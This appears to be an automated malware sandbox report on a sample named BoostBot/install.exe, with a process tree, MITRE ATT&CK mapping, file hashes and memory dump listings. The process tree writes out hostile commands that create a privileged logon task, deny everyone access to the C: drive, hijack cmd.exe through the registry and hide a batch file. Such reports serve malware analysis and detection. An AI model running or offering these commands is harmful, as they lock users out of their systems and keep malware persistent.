C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
5⤵
- Executes dropped EXE
PID:1552

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST
5⤵
- Creates scheduled task(s)
PID:4980

C:\Windows\system32\icacls.exe
icacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T
3⤵
- Modifies file permissions
PID:5000

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
3⤵
PID:2464

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
3⤵
- Views/modifies file attributes
PID:4192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3600

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4000

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4072

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3444

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3024

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3520

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4100

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4504

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
338B

MD5
b9d463b0421a31c1eb8f3ced7ba0803c

SHA1
c5986a6a352898582ade36d40fbd5939002f6b2e

SHA256
e55b1180d0ecd6b251afb01d72803a0683a1a352d0b009d39abb53ef29474936

SHA512
70418751d63ad3d42be66d8ebf82dba05439dde21f99169ba9e85a4a76ca1c0cd07bad776b798e799d3f1c95a79c1a8565cbe4d458553027b487bca4ba7a79e6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E

Filesize
556B

MD5
b81364c321b0dfe0109ecc8615a7e844

SHA1
dd75886d4cbb394cef6824b81868cc4038cd3e99

SHA256
674bca4bf0ec3508365b4b20777aec18b5e2cd74f06707371e61b9f0ec656c2f

SHA512
5a84c2c08d0da52eccee30d6749d86dacb806fdad16069008d601ae8241ea99623e3ae7a19555e2618d37b1d6831f50337acad8314089b46c6497a715cc6beaf

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Filesize
408B

MD5
efb3785e5280be9135a0c27083f13475

SHA1
6dbc43b2d39ff2fac18c74089195ba97ca4137ba

SHA256
9ecbc305d429e2afa7751672bfa68ebdca132d4a6397b55284ab7c1a1a9a71c4

SHA512
5e39c7111edfde2fd390652046a8d266b839364ac9074438c77b8cd25249a8f3ba41b8f9d586b753fa0527464a3c4337ef86a48e2003e0eefdbf05dad9da67c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\8LwR0RXrtD8H.bat

Filesize
283B

MD5
4fdbd87e6a23945871d064de7f7af6b8

SHA1
6e44ac14c774818ccc475a1e6b6e880bf3263a58

SHA256
8bc678fef40991a4bd3a0f868c94dd74507a5b3ac019f8c3834d85873fd443b6

SHA512
6ac495d4bd2509ff5e4162e0fe1ce4efdf6717e62ced90c8c97141691fd2001efb88f136310093deea8b86d849a2e5c520f483dc1266cce1aa13d23875622c44

Download Submit
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe

Filesize
409KB

MD5
404ab800bbe49c36bd64d0d73600b59a

SHA1
4c8dff2702fada108f7477ad357067310b584366

SHA256
5465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154

SHA512
d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tk1igrat.t5p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$SXR-LOGS\05-12-~1

Filesize
224B

MD5
613507d47faa8d6c5f4ae4c6296ba6e4

SHA1
085c908adef4260a1d1d4c8d9378f318949f4e3b

SHA256
266712547c16e345a7834169d41f5e579eef8d853d5f63e1a59099401773b4c1

SHA512
dd70453fbdad0737046728bc7243b8102ebe6fa3f98c880801375a02abf540b66566d0738c273328a751c7a930e4b7f74eaa649a245f9b18692d1aa9ec846880

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9

Filesize
420B

MD5
b35e728bcab29891aeae592420c70340

SHA1
979330dcaf35137719a05542eb4443e0f1b80d24

SHA256
fc4260ee7403dd0ca9572bc41277956f64bafe01965068148124f8313ec61d45

SHA512
e972188233af80c0e47a2b6a28998d7ac76fa5ceb81c8414dfd2974d1aeabc1144b8aa55ff72c5caf604b30fbbdc0804ef633c0a8adcf4b24f87067fee92863c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6ac70cc97403dc21deee7e752466f614

SHA1
0ada9639fc25d4956164dec32628181e8834fe1f

SHA256
1dd0d2e4663e18184181b63df229dc86c56b2e52cd2cfd8a8bb1590e720a69ca

SHA512
65279ddec7c590735e37d948896b1439cd070632b7c776d1f56358fd7fe93fecf59aeee0593db8bce401b1189c6959753155f15f7857c53b4fe36326d9200320

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bb7d9cd87343b2c81c21c7b27e6ab694

SHA1
27475110d09f1fc948f1d5ecf3e41aba752401fd

SHA256
b06963546e5a36237a9061b369789ebdfc6578c4adfbb3ad425a623ffd2518df

SHA512
bf6e222412df3e8fb28fbdd2247628b85ed5087d7be94fa77577a45d02c5f929f20d572867616f1761c86a81e0769d63be5a4e737975c7e7ebc2ef9dccae9a0b

Download Submit
memory/436-113-0x0000020C12D50000-0x0000020C12D7B000-memory.dmp

Filesize
172KB

Download
memory/560-108-0x0000025648890000-0x00000256488BB000-memory.dmp

Filesize
172KB

Download
memory/560-109-0x00007FFCA7330000-0x00007FFCA7340000-memory.dmp

Filesize
64KB

Download
memory/560-102-0x0000025648890000-0x00000256488BB000-memory.dmp

Filesize
172KB

Download
memory/636-68-0x000002939E280000-0x000002939E2AB000-memory.dmp

Filesize
172KB

Download
memory/636-69-0x000002939E280000-0x000002939E2AB000-memory.dmp

Filesize
172KB

Download
memory/636-75-0x000002939E280000-0x000002939E2AB000-memory.dmp

Filesize
172KB

Download
memory/636-67-0x000002939E250000-0x000002939E275000-memory.dmp

Filesize
148KB

Download
memory/636-76-0x00007FFCA7330000-0x00007FFCA7340000-memory.dmp

Filesize
64KB

Download
memory/692-87-0x00007FFCA7330000-0x00007FFCA7340000-memory.dmp

Filesize
64KB

Download
memory/692-86-0x00000263757D0000-0x00000263757FB000-memory.dmp

Filesize
172KB

Download
memory/692-81-0x00000263757D0000-0x00000263757FB000-memory.dmp

Filesize
172KB

Download
memory/992-97-0x0000022AFB100000-0x0000022AFB12B000-memory.dmp

Filesize
172KB

Download
memory/992-91-0x0000022AFB100000-0x0000022AFB12B000-memory.dmp

Filesize
172KB

Download
memory/992-98-0x00007FFCA7330000-0x00007FFCA7340000-memory.dmp

Filesize
64KB

Download
memory/1492-18-0x00000201CA160000-0x00000201CA182000-memory.dmp

Filesize
136KB

Download
memory/1492-19-0x00007FFCC61C0000-0x00007FFCC6C82000-memory.dmp

Filesize
10.8MB

Download
memory/1492-20-0x00007FFCC61C0000-0x00007FFCC6C82000-memory.dmp

Filesize
10.8MB

Download
memory/1492-21-0x00007FFCC61C0000-0x00007FFCC6C82000-memory.dmp

Filesize
10.8MB

Download
memory/1492-9-0x00007FFCC61C3000-0x00007FFCC61C5000-memory.dmp

Filesize
8KB

Download
memory/1492-26-0x00007FFCC61C0000-0x00007FFCC6C82000-memory.dmp

Filesize
10.8MB

Download
memory/1672-31-0x0000000005B40000-0x0000000005B52000-memory.dmp

Filesize
72KB

Download
memory/1672-32-0x0000000006740000-0x000000000677C000-memory.dmp

Filesize
240KB

Download
memory/1672-27-0x0000000000AF0000-0x0000000000B5C000-memory.dmp

Filesize
432KB

Download
memory/1672-28-0x0000000005BE0000-0x0000000006186000-memory.dmp

Filesize
5.6MB

Download
memory/1672-29-0x0000000005540000-0x00000000055D2000-memory.dmp

Filesize
584KB

Download
memory/1672-30-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/2772-56-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2772-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2772-59-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2772-55-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2772-64-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2772-57-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2772-61-0x00007FFCE6040000-0x00007FFCE60FD000-memory.dmp

Filesize
756KB

Download
memory/2772-60-0x00007FFCE72A0000-0x00007FFCE74A9000-memory.dmp

Filesize
2.0MB

Download
memory/4472-52-0x00007FFCE72A0000-0x00007FFCE74A9000-memory.dmp

Filesize
2.0MB

Download
memory/4472-53-0x00007FFCE6040000-0x00007FFCE60FD000-memory.dmp

Filesize
756KB

Download
memory/4472-51-0x000002C4D4C20000-0x000002C4D4C4A000-memory.dmp

Filesize
168KB

Download
memory/4984-739-0x00000000069A0000-0x00000000069AA000-memory.dmp

Filesize
40KB

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